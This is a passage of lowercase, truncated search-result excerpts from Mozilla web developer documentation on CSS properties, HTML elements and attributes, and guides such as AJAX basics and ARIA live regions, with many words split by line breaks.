mmon transformations: rotations, scaling, or skewing. (in fact, all transformations that are linear functions can be described.) composite transformations are effectively applied in order from right to left. however, one major transformation is not linear, and therefore must be special-cased when using this notation: translation. the translation vector (tx, ty) must be expressed separately, as two ...
... editor's draft added 3d transform functions. css transforms level 1the definition of '<transform-function>' in that specification. working draft initial definition ...
unicode-bidi - CSS: Cascading Style Sheets
...
... ...
... </div> <div> another line of text </div> result specifications specification status co
mment css writing modes module level 3the definition of 'unicode-bidi' in that specification. proposed reco
mmendation added plaintext, isolate, and isolate-override keywords. css level 2 (revision 1)the definition of 'unicode-bidi' in that specification. reco
mmendation initial definition. ...
unset - CSS: Cascading Style Sheets
...
... ...
... border: 1px solid red; } .bar p { border-color: unset; } result specifications specification status co
mment css cascading and inheritance level 4the definition of 'unset' in that specification. candidate reco
mmendation no changes from level 3. css cascading and inheritance level 3the definition of 'unset' in that specification. candidate reco
mmendation initial definition. ...
vertical-align - CSS: Cascading Style Sheets
...
... ...
...{ vertical-align: middle; } result specifications specification status co
mment css level 2 (revision 1)the definition of 'vertical-align' in that specification. reco
mmendation adds the <length> value and allows it to be applied to elements with a display type of table-cell. css level 1the definition of 'vertical-align' in that specification. reco
mmendation initial definition. ...
visibility - CSS: Cascading Style Sheets
...
... ...
...order: 1px solid red; } td { border: 1px solid gray; } specifications specification status co
mment css flexible box layout modulethe definition of 'visibility' in that specification. candidate reco
mmendation defines the collapse value as it applies to flex items. css level 2 (revision 1)the definition of 'visibility' in that specification. reco
mmendation initial definition. ...
width - CSS: Cascading Style Sheets
esrefer to the width of the containing blockcomputed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { background: gold; } <p class="goldie">the mozilla co
mmunity produces a lot of great software.</p> pixels and ems .px_length { width: 200px; background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em; background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in em</div> percentage .percent { width: 20...
... width: 20%; background-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen { background: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla co
mmunity produces a lot of great software.</p> min-content p.minblue { background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla co
mmunity produces a lot of great software.</p> specifications specification status co
mment css box sizing module level 4the def...
...ecification status co
mment css box sizing module level 4the definition of 'width' in that specification. editor's draft css box sizing module level 3the definition of 'width' in that specification. working draft added the max-content, min-content, fit-content keywords. css level 2 (revision 1)the definition of 'width' in that specification. reco
mmendation precises on which element it applies to. css level 1the definition of 'width' in that specification. reco
mmendation initial definition. ...
Getting Started - Developer guides
this article guides you through the ajax basics and gives you some simple hands-on examples to get you started. what's ajax? ajax stands for asynchronous javascript and xml. in a nutshell, it is the use of the xmlhttprequest object to co
mmunicate with servers. it can send and receive information in various formats, including json, xml, html, and text files. ajax’s most appealing characteristic is its "asynchronous" nature, which means it can co
mmunicate with the server, exchange data, and update the page without having to refresh the page. the two major features of ajax allow you to do the following: make requests to the server without reloading the page receive and work with data from the server step 1 – how to make an http request in order to make an http request to the serv...
...sers (like firefox) might not process the request. for more information on the possible http request methods, check the w3c specs. the second parameter is the url you're sending the request to. as a security feature, you cannot call urls on 3rd-party domains by default. be sure to use the exact domain name on all of your pages or you will get a "permission denied" error when you call open(). a co
mmon pitfall is accessing your site by domain.tld, but attempting to call pages with www.domain.tld. if you really need to send a request to another domain, see http access control (cors). the optional third parameter sets whether the request is asynchronous. if true (the default), javascript execution will continue and the user can interact with the page while the server response has yet to arrive...
...bugging challenging. you can also add an always-different get parameter, like a timestamp or random number (see bypassing the cache) note 3: if the httprequest variable is used globally, competing functions calling makerequest() can overwrite each other, causing a race condition. declaring the httprequest variable local to a closure containing the ajax functions avoids this. in the event of a co
mmunication error (such as the server going down), an exception will be thrown in the onreadystatechange method when accessing the response status. to mitigate this problem, you could wrap your if...then statement in a try...catch: function alertcontents() { try { if (httprequest.readystate === xmlhttprequest.done) { if (httprequest.status === 200) { alert(httprequest.responsete...
WAI ARIA Live Regions/API Support - Developer guides
these features will help screen reader developers improve the quality and performance of live region support, both for pages that are marked up with aria live region markup, and for pages where the author did not add any additional markup. please read the aria spec or the live region report to learn about aria live region markup. as always, we're open to questions and suggestions for changes in co
mmunity forums. events fired for web page mutations what changed in document? atk/at-spi event iaccessible2 event object about to be hidden or removed children_changed::remove (fired on the parent, with event data pointing to the child index of the accessible object to be removed) event_object_hide* (fired on the actual accessible object about to go away) obje...
...ct about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed i
mmediately by children_change::add event_object_hide followed i
mmediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) ...
...e followed i
mmediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed i
mmediately by text_changed::insert ia2_event_text_removed followed i
mmediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events. retrieving author-supplied aria live region semantics from an event for any mutation...
Video player styling basics - Developer guides
wser video player article we described how to build a cross-browser html5 video player using the media and fullscreen apis. this follow-up article looks at how to style this custom player, including making it responsive. the example in action you can find the code for the updated, styled example on github, and view it live. preliminary modifications from the original example this section su
mmarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started. html markup there are a few changes that were made to the html markup shown in the previous article. the custom video controls and <progress> element are now contained within <div> elements, rather than residing inside unordered list items. the m...
...es will be used to display appropriate icons, the background colour of the button is set to be transparent, non-repeated, and the element should fully contain the image. simple :hover and :focus states are then set for each button that simply alters the opacity of the button: .controls button:hover, .controls button:focus { opacity:0.5; } to obtain appropriate button images, a set of free co
mmon control set icons was downloaded from the web. each image was then converted to a base64 encoded string (using an online base64 image encoder), since the images are quite small, the resultant encoded strings are quite short. since some buttons have dual functionality, e.g. play/pause, and mute/unmute, these buttons have different states that need to be styled. as mentioned earlier, a `data-sta...
...et to ensure that firefox and chrome use the required colour for the progress bar: .controls progress::-moz-progress-bar { background-color:#0095dd; } .controls progress::-webkit-progress-value { background-color:#0095dd; } although the same properties are set to the same value, these rules need to be defined separately, otherwise chrome ignores it. javascript that's really it for the i
mmediate styling; the next task is making a number of javascript changes to ensure that everything works as expected. control visibility the first change is simple: the data-state for showing the video controls when javascript is available to the browser now needs to be set: // display the user defined video controls videocontrols.setattribute('data-state', 'visible'); progress bar support a ch...
Event developer guide - Developer guides
events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types. the overview page provides an introduction to the design pattern and a su
mmary of the types of incidents which are defined and reacted to by modern web browsers. the custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code. the remaining pages describe how to use events of different kinds defined by web browsers. unfortunately, these events have been defined piece by piece as web ...
...ined by web browsers for which pages are not yet available in this guide. note: this event developer guide needs substantial work. the structure needs to be reorganized and the pages rewritten. our hope is that everything you need to know about events will go under here. docs creating and triggering eventsthis article demonstrates how to create and dispatch dom events. ...
...s rewritten. our hope is that everything you need to know about events will go under here. docs creating and triggering eventsthis article demonstrates how to create and dispatch dom events. such events are co
mmonly called synthetic events, as opposed to the events fired by the browser itself.dom on-event handlersthe web platform provides several ways to get notified of dom events. ...
Writing forward-compatible websites - Developer guides
. so appending a script that depends on non-strict-mode behavior to a strict-mode script will cause things to break. ask the authors of any javascript libraries you use to also follow these guidelines suggest to the developers of your favorite libraries that they follow these guidelines too. if they don't, you can't rely on that library not breaking in the future. unfortunately, libraries are co
mmon transgressors of these guidelines. sniffing sniff for specific features if you plan to use some feature, use object-detection to sniff for that exact feature, if possible. as a simple example, don't assume that any browser in which "filter" in body.style tests true must be microsoft internet explorer and therefore e.g. will have a window.event object available in event handlers. don't assum...
...rt onreadystatechange on them). as browsers converge behavior, they both add features and remove them. they also fix bugs. all three of these have happened in the past and will happen again. so don't sniff for one feature or object and then assume that, because it exists or doesn't exist, some other feature or object must also exist or not exist. don't ua-sniff this is really a particularly co
mmon instance of assuming that one feature (the presence of a particular substring in the user agent (ua) string) implies something about the presence or absence of other features. if you have to ua-sniff, only sniff for past browser versions if you have to resort to ua sniffing, only use it to target past browser versions of particular browsers. first, have a default code path that runs in unknow...
...have a single code path that works in all the top engines, it means that you are either using features where browser behavior has already converged or, if the behavior hasn't quite converged yet, your code works regardless of which engine's behavior standards turn out to uphold. browser-specific features and prefixes don't target hacks at current or future versions of browsers this is also a co
mmon instance of assuming that present correlation between bugs implies future correlation between bugs. targeting hacks at old versions of browsers whose current versions no longer have the bug you're relying on for your hack is ok; once a browser has fixed bug x, you can know for certain that all releases that had bug x also had bug y and use the presence of bug x to target workarounds for bug y. ...
HTML attribute: min - HTML: Hypertext Markup Language
. if omitted, <input type="number">, any integer is valid, but floats, like 4.2, are not valid, as step defaults to 1. ...
...2, are not valid, as step defaults to 1. ...
...ad to be a number ending in .2, such as <input type="number" min="-5.2"> syntax for min values by input type input type example example date yyyy-
mm-dd <input type="date" min="2019-12-25" step="1"> month yyyy-
mm <input type="month" min="2019-12" step="12"> week yyyy-w## <input type="week" min="2019-w23" step=""> time hh:
mm <input type="time" min="09:00" step="900"> datetime-local yyyy-
mm-ddthh:
mm <input type="datetime-local" min="2019-12-25t19:30"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the min value set, the value...
HTML attribute: pattern - HTML: Hypertext Markup Language
you must include information informing users how to fill out the the control to match the requirements. ...
...owsers sometimes also show the title as text on hover, it therefore shows in non-error situations, so be careful not to word titles as if an error has occurred. ...
...situations, so be careful not to word titles as if an error has occurred. specifications specification status co
mment html living standardthe definition of 'pattern' in that specification. ...
HTML attribute: required - HTML: Hypertext Markup Language
y, inputs that support the required attribute but don't have the attribute set match the :optional pseudo-class. in the case of a same named group of radio buttons, if a single radio button in the group has the required attribute, a radio button in that group must be check, though it doesn't have to be the one with the attribute is applied. for this reason, to improve code maintenance, it is reco
mmened to either include the required attribute in every same-named radio button in the group or none. in the case of a same named group of checkbox input types, only the checkboxes with the required attribute are required. note: setting aria-required="true" tells a screen reader that an element (any element) is required, but has no bearing on the optionality of the element. attribute interacti...
... required attribute, but adding aria-required="true" doesn't hurt, in case the browser / screen reader combination does not support required yet. constraint validation if the element is required and the element's value is the empty string, then the element is suffering from valuemissing and the element will match the :invalid pseudo class. ...
...ement's value is the empty string, then the element is suffering from valuemissing and the element will match the :invalid pseudo class. specifications specification status co
mment html living standardthe definition of 'required attribute' in that specification. living standard html5the definition of 'required attribute' in that specification. reco
mmendation html 5.1the definition of 'required attribute' in that specification. reco
mmendation accessibility concerns provide an indication to users informing them the form control is required. ensure the messaging is multi-faceted, such as thru text, color, markings, and attribute, so that all users understand the requirements whether they have color blindness, cognitiv...
<acronym> - HTML: Hypertext Markup Language
dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. ...
... dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. ...
... another: some browsers, like internet explorer, do not style it differently than a <span> element. opera, firefox, chrome, and some others add a dotted underline to the content of the element. a few browsers not only add a dotted underline, but also put it in small caps; to avoid this styling, adding something like font-variant: none in the css takes care of this case. it is therefore reco
mmended that web authors either explicitly style this element, or accept some cross-browser variation. specifications specification status co
mment html 4.01 specificationthe definition of '<acronym>' in that specification. reco
mmendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribu...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
ints to https://example.com/#anchor. open graph open graph tags do not acknowledge <base>, and should always have full absolute urls. ...
...il.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status co
mment html living standardthe definition of '<base>' in that specification. living standard no change since last snapshot. html5the definition of '<base>' in that specification. ...
...cifications specification status co
mment html living standardthe definition of '<base>' in that specification. living standard no change since last snapshot. html5the definition of '<base>' in that specification. reco
mmendation specified the behavior of target html 4.01 specificationthe definition of '<base>' in that specification. ...
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
at the text should go in a right-to-left direction. ...
...to left.</bdo></p> result notes the html 4 specification did not specify events for this element; they were added in xhtml. this is most likely an oversight. specifications specification status co
mment html living standardthe definition of '<bdo>' in that specification. ...
... they were added in xhtml. this is most likely an oversight. specifications specification status co
mment html living standardthe definition of '<bdo>' in that specification. living standard html5the definition of '<bdo>' in that specification. ...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
icant interference with each other, outside of early spring. this is because of the 3d ether space available to the carriers, in contrast to the 1d ether used by ieee802.3. ...
...ave an intrinsic collision avoidance system, which increases availability.</p> </blockquote> the output from this html snippet looks like this: specifications specification status co
mment html living standardthe definition of '<blockquote>' in that specification. ...
...om this html snippet looks like this: specifications specification status co
mment html living standardthe definition of '<blockquote>' in that specification. living standard html5the definition of '<blockquote>' in that specification. ...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
examples html this code snippet adds a canvas element to your html document. a fallback text is provided if a browser is unable to render the canvas, or if can't read a canvas. <canvas width="300" height="300"> an alternative text describing what your canvas displays. </canvas> javascript then in the javascript code, call htmlcanvaselement.getcontext() to get a drawin...
...ral, you should avoid using canvas in an accessible website or app. the following guides can help to make it more accessible. ...
...e cases canvas element accessibility issues html5 canvas accessibility in firefox 13 – by steve faulkner best practices for interactive canvas elements specifications specification status co
mment html living standardthe definition of '<canvas>' in that specification. living standard html5the definition of '<canvas>' in that specification. reco
mmendation initial definition ...
<code>: The Inline Code element - HTML: Hypertext Markup Language
otes to represent multiple lines of code, wrap the <code> element within a <pre> element. the <code> element by itself only represents a single phrase of code or line of code. a css rule can be defined for the code selector to override the browser's default font face. ...
... rule can be defined for the code selector to override the browser's default font face. preferences set by the user might take precedence over the specified css. specifications specification status co
mment html living standardthe definition of '<code>' in that specification. ...
...by the user might take precedence over the specified css. specifications specification status co
mment html living standardthe definition of '<code>' in that specification. living standard html5the definition of '<code>' in that specification. ...
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content. permitted content either phrasing content or zero or more <option> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
...r more <option> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, co
mmon to all elements. examples <label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications ...
...<label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status co
mment html living standardthe definition of '<datalist>' in that specification. living standard html5the definition of '<datalist>' in that specification. reco
mmendation ...
<del>: The Deleted Text element - HTML: Hypertext Markup Language
le announcing content that creates extra verbosity. because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been deleted would adversely affect understanding. ...
...eleted would adversely affect understanding. short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status co
mment html living standardthe definition of '<del>' in that specification. ...
...paciello group tweaking text level styles | adrian roselli specifications specification status co
mment html living standardthe definition of '<del>' in that specification. living standard html5the definition of '<del>' in that specification. ...
<dfn>: The Definition element - HTML: Hypertext Markup Language
ver built.</p> note the <abbr> element nested inside the <dfn>. the former establishes that the term is an abbreviation ("hst") and specifies the full term ("hubble space telescope") in its title attribute. the latter indicates that the abbreviated term represents a term being defined. ...
...") in its title attribute. the latter indicates that the abbreviated term represents a term being defined. result the output of the above code looks like this: specifications specification status co
mment html living standardthe definition of '<dfn>' in that specification. ...
...ed. result the output of the above code looks like this: specifications specification status co
mment html living standardthe definition of '<dfn>' in that specification. living standard html5the definition of '<dfn>' in that specification. ...
<div>: The Content Division element - HTML: Hypertext Markup Language
le named "shadowbox" to the element. ...
...x-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status co
mment html living standardthe definition of '<div>' in that specification. ...
... result specifications specification status co
mment html living standardthe definition of '<div>' in that specification. living standard no changes since the latest snapshot html5the definition of '<div>' in that specification. ...
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
this is the first paragraph of text. this is the first paragraph of text. this is the first paragraph of text. this is the first paragraph of text. </p> <hr> <p> this is the second paragraph of text. this is the second paragraph of text. this is the second paragraph of text. this is the second paragraph of text. ...
... this is the second paragraph of text. this is the second paragraph of text. this is the second paragraph of text. </p> result specifications specification status co
mment html living standardthe definition of '<hr>' in that specification. living standard definition of the <hr> element html5the definition of '<hr>' in that specification. ...
...paragraph of text. </p> result specifications specification status co
mment html living standardthe definition of '<hr>' in that specification. living standard definition of the <hr> element html5the definition of '<hr>' in that specification. reco
mmendation html 4.01 specificationthe definition of '<hr>' in that specification. ...
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
e <cite> to mark up the name of a work, such as a book, play, or song. use <dfn> to mark up the defining instance of a term. examples this example demonstrates using the <i> element to mark text that is in another language. ...
...the <i> element to mark text that is in another language. ...
...> is often mentioned in music, art, and literature.</p> result specifications specification status co
mment html living standardthe definition of '<i>' in that specification. living standard html5the definition of '<i>' in that specification. ...
<input type="button"> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons. ...
...ull request. note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons. given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images. value a domstring used as the button's label events click supported co
mmon attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a domstring that is used as the button's label. <input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no defau...
... } clearbtn.onclick = function() { ctx.fillstyle = 'rgb(0,0,0)'; ctx.fillrect(0,0,width,height); } function draw() { if(pressed) { ctx.fillstyle = colorpicker.value; ctx.beginpath(); ctx.arc(curx, cury-85, sizepicker.value, degtorad(0), degtorad(360), false); ctx.fill(); } requestanimationframe(draw); } draw(); specifications specification status co
mments html living standardthe definition of '<input type="button">' in that specification. living standard html5the definition of '<input type="button">' in that specification. reco
mmendation ...
<input type="text"> - HTML: Hypertext Markup Language
te basic single-line text fields. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the text contained in the text field. events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange(). value the value attribute is a domstring that contains the current value of the text entered into the text field. you can retrieve this using the value property in javascript...
... physical input element size the physical size of the input box can be controlled using the size attribute. with it, you can specify the number of characters the text input can display at a time. this affects the width of the element, letting you specify the width in terms of characters rather than pixels. in this example, for instance, the input is 30 cha...
...input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } this renders like so: examples you can see good examples of text inputs used in context in our your first html form and how to structure an html form articles. specifications specification status co
mment html living standardthe definition of '<input type="text">' in that specification. living standard initial definition html 5.1the definition of '<input type="text">' in that specification. reco
mmendation initial definition ...
<ins> - HTML: Hypertext Markup Language
e announcing content that creates extra verbosity. because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been inserted would adversely affect understanding. ...
...serted would adversely affect understanding. short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status co
mment html living standardthe definition of '<ins>' in that specification. ...
...paciello group tweaking text level styles | adrian roselli specifications specification status co
mment html living standardthe definition of '<ins>' in that specification. living standard html5the definition of '<ins>' in that specification. ...
<keygen> - HTML: Hypertext Markup Language
challenge is base64 encoded, and the ascii data is finally submitted to the server as the value of a form name/value pair, where the name is name as specified by the name attribute of the keygen element. if no challenge string is provided, then it will be encoded as an ia5string of length zero. ...
... ...
... ...
<legend> - HTML: Hypertext Markup Language
permitted parents a <fieldset> whose first child is this <legend> element implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmllegendelement attributes this element only includes the global attributes. examples see <form> for examples on <legend>. ...
...delement attributes this element only includes the global attributes. examples see <form> for examples on <legend>. specifications specification status co
mment html living standardthe definition of '<legend>' in that specification. ...
...amples on <legend>. specifications specification status co
mment html living standardthe definition of '<legend>' in that specification. living standard definition of the legend element html5the definition of '<legend>' in that specification. ...
<li> - HTML: Hypertext Markup Language
umber or letter. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content. tag omission the end tag can be omitted if the list item is i
mmediately followed by another <li> element, or if there is no more content in its parent element. permitted parents an <ul>, <ol>, or <menu> element. though not a conforming usage, the obsolete <dir> can also be a parent. implicit aria role listitem when child of an ol, ul or menu permitted aria roles menuitem, menuitemcheckbox, menuitemradio, option, none, prese...
... ...
...li> <li>fourth item</li> <li>fifth item</li> </ol> unordered list <ul> <li>first item</li> <li>second item</li> <li>third item</li> </ul> specifications specification status co
mment html living standardthe definition of '<li>' in that specification. living standard html5the definition of '<li>' in that specification. reco
mmendation html 4.01 specificationthe definition of '<li>' in that specification. reco
mmendation the type attribute has been deprecated. ...
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, sectioning content, palpable content. permitted content flow content. ...
...tent. examples in this example, a <nav> block is used to contain an unordered list (<ul>) of links. with appropriate css, this can be presented as a sidebar, navigation bar, or drop-down menu. ...
... <ul> <li><a href="#">home</a></li> <li><a href="#">about</a></li> <li><a href="#">contact</a></li> </ul> </nav> specifications specification status co
mment html living standardthe definition of '<nav>' in that specification. living standard no change since latest w3c snapshot. html5the definition of '<nav>' in that specification. reco
mmendation initial definition ...
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
a <noframes> element can contain any html elements that are allowed within the body of an html document, with the exception of the <frameset> and <frame> elements, since using frames when they aren't supported doesn't make sense. ...
...essage if the user agent doesn't support frames. ...
...e src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status co
mment html5the definition of 'noframes' in that specification. reco
mmendation html 4.01 specificationthe definition of '<noframes>' in that specification. reco
mmendation ...
<noscript> - HTML: Hypertext Markup Language
dom interface htmlelement attributes this element only includes the global attributes. ...
....mozilla.com/">external link</a> </noscript> <p>rocks!</p> result with scripting enabled rocks! result with scripting disabled external link rocks! specifications specification status co
mment html living standardthe definition of '<noscript>' in that specification. ...
...ith scripting disabled external link rocks! ...
<object> - HTML: Hypertext Markup Language
n css pixels. -- (absolute values only. ...
...ect> <!-- embed a flash movie with parameters --> <object data="movie.swf" type="application/x-shockwave-flash"> <param name="foo" value="bar"> </object> specifications specification status co
mment html living standardthe definition of '<object>' in that specification. ...
...flash"> <param name="foo" value="bar"> </object> specifications specification status co
mment html living standardthe definition of '<object>' in that specification. living standard html5the definition of '<object>' in that specification. ...
<param>: The Object Parameter element - HTML: Hypertext Markup Language
the type of the value attribute. possible values are: data: default value. the value is passed to the object's implementation as a string. ref: the value is a uri to a resource where run-time values are stored. object: an id of another <object> in the same document. ...
...ere run-time values are stored. object: an id of another <object> in the same document. examples please see the <object> page for examples on <param>. specifications specification status co
mment html living standardthe definition of '<param>' in that specification. ...
... please see the <object> page for examples on <param>. specifications specification status co
mment html living standardthe definition of '<param>' in that specification. living standard html5the definition of '<param>' in that specification. ...
<picture>: The Picture element - HTML: Hypertext Markup Language
nt examines each <source>'s srcset, media, and type attributes to select a compatible image that best matches the current layout and capabilities of the display device. the <img> element serves two purposes: it describes the size and other attributes of the image and its presentation. it provides a fallback in case none of the offered <source> elements are able to provide a usable image. co
mmon use cases for <picture>: art direction. cropping or modifying images for different media conditions (for example, loading a simpler version of an image which has too many details, on smaller displays). offering alternative image formats, for cases where certain formats are not supported. saving bandwidth and speeding page load times by loading the most appropriate image for the viewer's di...
...h <source> element. if the <source>'s media condition evaluates to false, the browser skips it and evaluates the next element inside <picture>. <picture> <source srcset="mdn-logo-wide.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="mdn"> </picture> the srcset attribute the srcset attribute is used to offer list of possible images based on size. it is composed of a co
mma-separated list of image descriptors. each image descriptor is composed of a url of the image, and either... a width descriptor, followed by a w (such as 300w); or a pixel density descriptor, followed by an x (such as 2x) to serve a high-res image for high-dpi screens. <picture> <source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2...
... living standard initial definition ...
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
|| || </pre> <figcaption id="cow-caption"> a cow saying, "i'm an expert in my field." the cow is illustrated using preformatted text characters. ...
...guideline 1.1 explanations h86: providing text alternatives for ascii art, emoticons, and leetspeak | w3c techniques for wcag 2.0 specifications specification status co
mment html living standardthe definition of '<pre>' in that specification. living standard no significant change from html5 html5the definition of '<pre>' in that specification. ...
... specification status co
mment html living standardthe definition of '<pre>' in that specification. living standard no significant change from html5 html5the definition of '<pre>' in that specification. reco
mmendation no significant change from html 4.01 specification html 4.01 specificationthe definition of '<pre>' in that specification. ...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
es a source document or message for the information quoted. this attribute is intended to point to information explaining the context or the reference for the quote. ...
...<p>according to mozilla's website, <q cite="https://www.mozilla.org/about/history/details/">firefox 1.0 was released in 2004 and became a big success.</q></p> specifications specification status co
mment html living standardthe definition of '<q>' in that specification. ...
...ox 1.0 was released in 2004 and became a big success.</q></p> specifications specification status co
mment html living standardthe definition of '<q>' in that specification. living standard html5the definition of '<q>' in that specification. ...
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
)}} the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content as a child of a <ruby> element. tag omission the end tag can be omitted if the element is i
mmediately followed by an <rt>, <rtc>, or <rp> element or another <rb> element, or if there is no more content in the parent element. permitted parents a <ruby> element. permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes ruby annotations are for showing pronunciation of east asian...
...roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes ruby annotations are for showing pronunciation of east asian characters, like using japanese furigana or taiwanese bopomofo characters. the <rb> element is used to separate out each segment of the ruby base text. even though <rb> is not an empty element, it is co
mmon to just include the opening tag of each element in the source code, so that the ruby markup is less complex and easier to read. the browser can then fill in the full element in the rendered version. you need to include one <rt> element for each base segment/<rb> element that you want to annotate. examples in this example, we provide an annotation for the original character equivalent of "ka...
...ruby> <rb>漢<rb>字 <rp>(</rp><rt>kan<rt>ji<rp>)</rp> </ruby> body { font-size: 22px; } the output looks like so: the html above might look something like this when rendered by a browser without ruby support: 漢字 (kan ji) body { font-size: 22px; } note: see the article about the <ruby> element for further examples. specifications specification status co
mment html5the definition of '<rb>' in that specification. reco
mmendation ...
<section>: The Generic Section element - HTML: Hypertext Markup Language
this is what <div> is for, especially when the sectioning is only for styling purposes. a rule of thumb is that a section should logically appear in the outline of a document. ...
...re <div> <h1>heading</h1> <p>bunch of awesome content</p> </div> after <section> <h1>heading</h1> <p>bunch of awesome content</p> </section> specifications specification status co
mment html living standardthe definition of '<section>' in that specification. ...
... <h1>heading</h1> <p>bunch of awesome content</p> </section> specifications specification status co
mment html living standardthe definition of '<section>' in that specification. living standard html 5.1the definition of '<section>' in that specification. ...
<span> - HTML: Hypertext Markup Language
ent (before html5, the interface was htmlelement) attributes this element only includes the global attributes. ...
... example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span { background: gold; } result specifications specification status co
mment html living standardthe definition of '<span>' in that specification. ...
...d; } result specifications specification status co
mment html living standardthe definition of '<span>' in that specification. living standard html5the definition of '<span>' in that specification. reco
mmendation the dom interface is now htmlspanelement. ...
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
